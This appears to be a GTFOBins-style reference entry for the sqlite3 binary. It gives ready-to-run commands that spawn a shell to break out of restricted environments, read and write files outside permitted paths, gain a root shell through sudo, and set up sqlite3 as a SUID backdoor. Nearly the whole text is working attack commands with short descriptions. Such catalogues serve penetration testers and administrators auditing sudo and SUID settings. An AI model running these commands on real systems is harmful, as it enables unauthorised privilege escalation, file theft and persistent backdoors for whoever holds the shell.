It can be used to break out from restricted environments by spawning an interactive system shell.
sqlite3 /dev/null '.shell /bin/sh'
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
LFILE=file_to_write sqlite3 /dev/null -cmd ".output $LFILE" 'select "DATA";'
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
LFILE=file_to_read sqlite3 << EOF CREATE TABLE t(line TEXT); .import $LFILE t SELECT * FROM t; EOF
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on
sudo sqlite3 /dev/null '.shell /bin/sh'
It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run commands it only works on systems
like Debian that allow the default
sh shell to run with SUID privileges.
cp $(which sqlite3) . sudo sh -c 'chown 0 ./sqlite3; chmod +s ./sqlite3' ./sqlite3 /dev/null '.shell /bin/sh'